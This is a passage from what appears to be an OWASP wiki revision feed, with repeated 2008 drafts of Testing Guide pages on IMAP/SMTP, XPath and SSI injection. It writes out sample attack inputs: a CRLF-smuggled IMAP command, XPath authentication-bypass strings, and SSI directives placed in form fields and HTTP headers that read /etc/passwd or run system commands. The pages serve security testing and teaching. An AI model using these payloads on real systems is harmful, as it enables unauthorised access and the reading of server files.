1. The injection is possible in an unauthenticated state: the affected functionality does not require the user to be authenticated. The injected (IMAP) commands available are limited to: CAPABILITY, NOOP, AUTHENTICATE, LOGIN and LOGOUT.&amp;lt;br&amp;gt; &lt;br /&gt;
2. The injection is only possible in an authenticated state: the sucessful exploitation requires the user to be fully authentication before testing can continue&lt;br /&gt;
&lt;br /&gt;
In any case, the typical structure of an IMAP/SMTP Injection is as follows:&lt;br /&gt;
* Header: ending of the expected command;&lt;br /&gt;
* Body: injection of the new command;&lt;br /&gt;
* Footer: beginning of the expected command.&lt;br /&gt;
&lt;br /&gt;
It is important to state that in order to execute the IMAP/SMTP command, the previous one must have finished with the CRLF (%0d%0a) sequence. &lt;br /&gt;
Let's suppose that in the stage 1 (&amp;quot;Identifying vulnerable parameters&amp;quot;), the attacker detects the parameter &amp;quot;message_id&amp;quot; of the following request as a vulnerable parameter:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/read_email.php?message_id=4791&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Let's suppose also that the outcome of the analysis performed in the stage 2 (&amp;quot;Understanding the data flow and deployment structure of the client&lt;br /&gt;
&amp;quot;) has identified the command and arguments associated with this parameter:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
FETCH 4791 BODY[HEADER]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this scene, the IMAP injection structure would be:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Which would generate the following commands:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
???? FETCH 4791 BODY[HEADER]&lt;br /&gt;
V100 CAPABILITY&lt;br /&gt;
V101 FETCH 4791 BODY[HEADER]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Header = 4791 BODY[HEADER]&lt;br /&gt;
Body   = %0d%0aV100 CAPABILITY%0d%0a&lt;br /&gt;
Footer = V101 FETCH 4791 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Arbitrary IMAP/SMTP command injection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RFC 0821 “Simple Mail Transfer Protocol”.&lt;br /&gt;
* RFC 3501 “Internet Message Access Protocol - Version 4rev1”.&lt;br /&gt;
* Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting Hidden Mail Servers&amp;quot; - &amp;lt;u&amp;gt;http://www.webappsec.org/projects/articles/121106.pdf&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)&amp;diff=37006</id>
		<title>Testing for XPath Injection (OTG-INPVAL-010)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)&amp;diff=37006"/>
				<updated>2008-08-23T07:07:49Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
XPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection testing, we test if it is possible to inject data into an application so that it executes user-controlled XPath queries. When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
Web applications heavily use databases to store and access the data they need for their operations. Historically, relational databases have been by far the most common technology for data storage, but, in the last years, we are witnessing an increasing popularity for databases that organize data using the XML language. Just like relational databases are accessed via SQL language, XML databases use XPath as their standard query language. Since, from a conceptual point of view, XPath is very similar to SQL in its purpose and applications, an interesting result is that XPath injection attacks follow the same logic of SQL Injection attacks. In some aspects, XPath is even more powerful than standard SQL, as its whole power is already present in its specifications, whereas a large number of the techniques that can be used in a SQL Injection attack depend on the peculiarities of the SQL dialect used by the target database. This means that XPath injection attacks can be much more adaptable and ubiquitous. Another advantage of an XPath injection attack is that, unlike SQL, no ACLs are enforced, as our query can access every part of the XML document.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The XPAth attack pattern was first published by Amit Klein [1] and is very similar to the usual SQL Injection. In order to get a first grasp of the problem, let's imagine a login page that manages the authentication to an application in which the user must enter his/her username and password. Let's assume that our database is represented by the following xml file:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;admin&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;guest&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;guest&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
An XPath query that returns the account whose username is &amp;quot;gandalf&amp;quot; and the password is &amp;quot;!c3&amp;quot; would be the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
string(//user[username/text()='gandalf' and &lt;br /&gt;
password/text()='!c3']/account/text()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
If the application does not properly filter user input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Username: ' or '1' = '1 &lt;br /&gt;
Password: ' or '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Looks quite familiar, doesn't it? &lt;br /&gt;
Using these parameters, the query becomes: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As in a common SQL Injection attack, we have created a query that always evaluates to true, which means that the application will authenticate the user even if a username or a password have not been provided.&lt;br /&gt;
&lt;br /&gt;
And as in a common SQL Injection attack, also in the case of XPath injection, the first step is to insert a single quote (') in the field to be tested, introducing a syntax error in the query, and to check whether the application returns an error message. &lt;br /&gt;
&lt;br /&gt;
If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us in reconstruct its internal logic, it is possible to perform a [[Blind XPath Injection]] attack, whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information. [[Blind XPath Injection]] is explained in more detail by Amit Klein in the referenced paper.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Amit Klein: &amp;quot;Blind XPath Injection&amp;quot; - https://www.watchfire.com/securearea/whitepapers.aspx?id=9&lt;br /&gt;
* [2] XPath 1.0 specifications - http://www.w3.org/TR/xpath&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)&amp;diff=37005</id>
		<title>Testing for XPath Injection (OTG-INPVAL-010)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)&amp;diff=37005"/>
				<updated>2008-08-23T07:05:00Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Short Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
XPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection testing, we test if it is possible to inject data into an application so that it executes user-controlled XPath queries. When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
Web applications heavily use databases to store and access the data they need for their operations. Historically, relational databases have been by far the most common technology for data storage, but, in the last years, we are witnessing an increasing popularity for databases that organize data using the XML language. Just like relational databases are accessed via SQL language, XML databases use XPath as their standard query language. Since, from a conceptual point of view, XPath is very similar to SQL in its purpose and applications, an interesting result is that XPath injection attacks follow the same logic of SQL Injection attacks. In some aspects, XPath is even more powerful than standard SQL, as its whole power is already present in its specifications, whereas a large number of the techniques that can be used in a SQL Injection attack depend on the peculiarities of the SQL dialect used by the target database. This means that XPath injection attacks can be much more adaptable and ubiquitous. Another advantage of an XPath injection attack is that, unlike SQL, no ACLs are enforced, as our query can access every part of the XML document.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The XPAth attack pattern was first published by Amit Klein [1] and is very similar to the usual SQL Injection. In order to get a first grasp of the problem, let's imagine a login page that manages the authentication to an application in which the user must enter his/her username and password. Let's assume that our database is represented by the following xml file:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;admin&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;guest&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;guest&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
An XPath query that returns the account whose username is &amp;quot;gandalf&amp;quot; and the password is &amp;quot;!c3&amp;quot; would be the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
string(//user[username/text()='gandalf' and &lt;br /&gt;
password/text()='!c3']/account/text()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
If the application does not properly filter such input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Username: ' or '1' = '1 &lt;br /&gt;
Password: ' or '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Looks quite familiar, doesn't it? &lt;br /&gt;
Using these parameters, the query becomes: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As in a common SQL Injection attack, we have created a query that is always evaluated as true, which means that the application will authenticate the user even if a username or a password have not been provided.&lt;br /&gt;
&lt;br /&gt;
And as in a common SQL Injection attack, also in the case of XPath inhection the first step is to insert a single quote (') in the field to be tested, introducing a syntax error in the query and check whether the application returns an error message. &lt;br /&gt;
&lt;br /&gt;
If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us in reconstruct its internal logic, it is possible to perform a [[Blind XPath Injection]] attack whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information. [[Blind XPath Injection]] is explained in more detail by Amit Klein in the referenced paper.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Amit Klein: &amp;quot;Blind XPath Injection&amp;quot; - https://www.watchfire.com/securearea/whitepapers.aspx?id=9&lt;br /&gt;
* [2] XPath 1.0 specifications - http://www.w3.org/TR/xpath&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)&amp;diff=37004</id>
		<title>Testing for XPath Injection (OTG-INPVAL-010)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)&amp;diff=37004"/>
				<updated>2008-08-23T07:01:09Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
XPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection testing, we test if it is possible to inject data into an application so that it executes user-controlled XPath queries. When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
Web applications heavily use databases to store and access the data they need for their operations. Since the dawn of the Internet, relational databases have been by far the most common paradigm, but in the last years we are witnessing an increasing popularity for databases that organize data using the XML language. Just like relational databases are accessed via SQL language, XML databases use XPath, which is their standard interrogation language. Since from a conceptual point of view, XPath is very similar to SQL in its purpose and applications, an interesting result is that also XPath injection attacks follow the same logic of SQL Injection ones. In some aspects, XPath is even more powerful than standard SQL, as its whole power is already present in its specifications, whereas a large slice of the techniques that can be used in a SQL Injection attack leverages the peculiarities of the SQL dialect used by the target database. This means that XPath injection attacks can be much more adaptable and ubiquitous. Another advantage of an XPath injection attack is that, unlike SQL, there are not ACLs enforced, as our query can access every part of the XML document.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The XPAth attack pattern was first published by Amit Klein [1] and is very similar to the usual SQL Injection. In order to get a first grasp of the problem, let's imagine a login page that manages the authentication to an application in which the user must enter his/her username and password. Let's assume that our database is represented by the following xml file:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;admin&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;guest&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;guest&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
An XPath query that returns the account whose username is &amp;quot;gandalf&amp;quot; and the password is &amp;quot;!c3&amp;quot; would be the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
string(//user[username/text()='gandalf' and &lt;br /&gt;
password/text()='!c3']/account/text()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
If the application does not properly filter such input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Username: ' or '1' = '1 &lt;br /&gt;
Password: ' or '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Looks quite familiar, doesn't it? &lt;br /&gt;
Using these parameters, the query becomes: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As in a common SQL Injection attack, we have created a query that is always evaluated as true, which means that the application will authenticate the user even if a username or a password have not been provided.&lt;br /&gt;
&lt;br /&gt;
And as in a common SQL Injection attack, also in the case of XPath inhection the first step is to insert a single quote (') in the field to be tested, introducing a syntax error in the query and check whether the application returns an error message. &lt;br /&gt;
&lt;br /&gt;
If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us in reconstruct its internal logic, it is possible to perform a [[Blind XPath Injection]] attack whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information. [[Blind XPath Injection]] is explained in more detail by Amit Klein in the referenced paper.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Amit Klein: &amp;quot;Blind XPath Injection&amp;quot; - https://www.watchfire.com/securearea/whitepapers.aspx?id=9&lt;br /&gt;
* [2] XPath 1.0 specifications - http://www.w3.org/TR/xpath&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SSI_Injection_(OTG-INPVAL-009)&amp;diff=37003</id>
		<title>Testing for SSI Injection (OTG-INPVAL-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SSI_Injection_(OTG-INPVAL-009)&amp;diff=37003"/>
				<updated>2008-08-23T07:00:08Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the '''Server-Side Includes''' ('''SSI'''). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there's only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Putting an SSI directive into a static HTML document is as easy as writing a piece of code like the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#echo var=&amp;quot;DATE_LOCAL&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to print out the current time.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/cgi-bin/counter.pl&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the output of a CGI script.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/footer.html&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the content of a file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#exec cmd=&amp;quot;ls&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the output of a system command.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then, if the web server's SSI support is enabled, the server will parse these directives. In the default configuration, usually, most web servers don't allow the use of the '''''exec''''' directive to execute system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could provide an input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing ==&lt;br /&gt;
&lt;br /&gt;
The first thing to do when testing in a Black Box fashion is finding if the web server actually supports SSI directives. Often, the answer is yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classical information gathering techniques.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Whether we succeed or not in discovering this piece of information, we could guess if SSI are supported just by looking at the content of the target web site. If it contains '''''.shtml''''' files, then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the '''''shtml''''' extension is not mandatory, so not having found any '''''shtml''''' files doesn't necessarily mean that the target is not prone to SSI injection attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The next step consists of determining if an SSI injection attack is actually possible and, if so, what are the input points that we can use to inject our malicious code.&amp;lt;br&amp;gt;&lt;br /&gt;
The testing activity required to do this is exactly the same used to test for other code injection vulnerabilities. In particular, we need to find every page where the user is allowed to submit some kind of input and verify whether the application is correctly validating the submitted input. If sanitization is insufficient, we need to test if we can provide data that is going to be displayed unmodified (for example, in an error message or forum post). Besides common user supplied data, input vectors that should always be considered are HTTP request headers and cookies content, since they can be easily forged.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where the provided input is stored. We need to make sure that we can inject characters used in SSI directives:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt; ! # = / . &amp;quot; - &amp;gt; and [a-zA-Z0-9]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To test if validation is insufficient, we can input, for example, a string like the following in an input form:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/etc/passwd&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is similar to testing for XSS vulnerabilities using&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is vulnerable, the directive is injected and it would be interpreted by the server the next time the page is served, thus including the content of the Unix standard password file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET / HTTP/1.0&lt;br /&gt;
Referer: &amp;lt;!--#exec cmd=&amp;quot;/bin/ps ax&amp;quot;--&amp;gt;&lt;br /&gt;
User-Agent: &amp;lt;!--#virtual include=&amp;quot;/proc/version&amp;quot;--&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
If we have access to the application source code, we can quite easily find out:&amp;lt;br&amp;gt;&lt;br /&gt;
# If SSI directives are used. If they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate.&amp;lt;br&amp;gt;&lt;br /&gt;
# Where user input, cookie content and HTTP headers are handled. The complete list of input vectors is then quickly determined.&amp;lt;br&amp;gt;&lt;br /&gt;
# How the input is handled, what kind of filtering is performed, what characters the application is not letting through and how many types of encoding are taken into account.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Performing these steps is mostly a matter of using grep, to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* IIS: &amp;quot;Notes on Server-Side Includes (SSI) syntax&amp;quot; - http://support.microsoft.com/kb/203064&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache Tutorial: &amp;quot;Introduction to Server Side Includes&amp;quot; - http://httpd.apache.org/docs/1.3/howto/ssi.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache: &amp;quot;Module mod_include&amp;quot; - http://httpd.apache.org/docs/1.3/mod/mod_include.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache: &amp;quot;Security Tips for Server Configuration&amp;quot; - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi&amp;lt;br&amp;gt;&lt;br /&gt;
* Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt&amp;lt;br&amp;gt;&lt;br /&gt;
